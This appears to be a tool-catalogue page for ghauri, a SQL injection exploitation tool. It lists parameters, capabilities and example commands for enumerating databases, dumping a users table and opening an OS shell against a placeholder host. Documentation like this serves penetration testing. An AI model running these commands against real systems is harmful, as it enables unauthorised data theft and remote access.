security enabled community high v1.0.0

ghauri

Advanced SQL injection detection and exploitation tool written in Go with support for multiple DBMS and injection techniques.

📋 Live Preview
ghauri -u {target} --batch
๐ŸŒ target โ†’ url
ghauri -u {target} --batch

Sandbox: execFile · Timeout: 600s

Capabilities

web.attack.sql-injection
web.vulnerability.scanner
web.exploit.database
web.enumeration.schema
web.enumeration.table

Parameters

Name Type Required Default Description Aliases
url string Yes - Target URL with injection point -u, --url
data string No - POST data string for parameter injection --data
cookie string No - HTTP cookies for authenticated requests --cookie
random-agent boolean No - Use random User-Agent header --random-agent
level integer No 1 Injection depth level (1-5) --level
risk integer No 1 Risk level (1-3, higher = more dangerous) --risk
dbms string No - Force DBMS type (mysql, mssql, postgres, oracle, sqlite) --dbms
technique string No - Injection techniques to use (BEUSTQ) --technique
batch boolean No - Non-interactive mode, use default answers --batch
dump boolean No - Dump database table entries --dump
tables boolean No - Enumerate database tables --tables
columns boolean No - Enumerate table columns --columns
D string No - Specific database name to enumerate -D, --db
T string No - Specific table name to enumerate -T, --table
threads integer No 1 Number of concurrent threads --threads
proxy string No - HTTP proxy address --proxy
headers string No - Additional HTTP headers --headers
timeout integer No 30 Request timeout in seconds --timeout
os-shell boolean No - Prompt for an interactive OS shell --os-shell
sql-shell boolean No - Prompt for an interactive SQL shell --sql-shell
banner boolean No - Retrieve DBMS banner --banner
current-user boolean No - Retrieve current DBMS user --current-user
current-db boolean No - Retrieve current database name --current-db
dbs boolean No - Enumerate all databases --dbs
C boolean No - COL Target column(s) -C
current_db boolean No - Current database --current-db
current_user boolean No - Current DBMS user --current-user
os_shell boolean No - OS shell --os-shell
sql_shell boolean No - SQL shell --sql-shell

Artifacts

TypeDescriptionMIMESchemaTrust
dump.jsonDumped database contents as JSONapplication/json-community
dump.csvDumped database contents as CSVtext/csv-community

Contract

Inputs

web.target.url

Target URL with potential SQL injection point

web.target.data

POST data for parameter injection

web.target.cookie

Session cookies for authenticated injection

Outputs

dump.json

Extracted database contents

dump.csv

Extracted database contents as CSV

Side effects: network_trafficnetwork_trafficfilesystem_write

Workflow Edges

Produces

dump.jsondump.csv

Consumes

web.target.urlweb.target.dataweb.target.cookie

Resource Profile

ResourceValue
CPUmedium
Memory256 MB
Networkmedium
Disk I/Olow

Examples

Basic SQL injection detection

ghauri -u "http://target.com/page?id=1" --batch

Enumerate all databases

ghauri -u "http://target.com/page?id=1" --dbs --batch

Dump a specific table

ghauri -u "http://target.com/page?id=1" -D mydb -T users --dump --batch

OS shell via SQL injection

ghauri -u "http://target.com/page?id=1" --os-shell --batch

POST injection with custom headers

ghauri -u "http://target.com/login" --data "user=admin&pass=test" --headers "X-Forwarded-For: 127.0.0.1"

High risk scan through proxy

ghauri -u "http://target.com/page?id=1" --level 3 --risk 3 --proxy http://127.0.0.1:8080 --batch

Documentation

Ghauri โ€” SQL Injection Detection and Exploitation Tool

Ghauri is an advanced SQL injection detection and exploitation tool written in Go, inspired by sqlmap. It supports multiple DBMS types and injection techniques including Boolean-based, error-based, time-based, UNION query, and stacked queries.

Basic Usage

# Basic detection
ghauri -u "http://target.com/page?id=1" --batch

# Enumerate databases
ghauri -u "http://target.com/page?id=1" --dbs --batch

# Dump a specific table
ghauri -u "http://target.com/page?id=1" -D mydb -T users --dump --batch

# Interactive SQL shell
ghauri -u "http://target.com/page?id=1" --sql-shell

Supported Techniques

Technique Flag Description
Boolean B Boolean-based blind injection
Error E Error-based injection
Union U UNION query injection
Stacked S Stacked queries injection
Time T Time-based blind injection
Query Q Inline query injection

Related Tools

sqlmapcommixsqlninja

References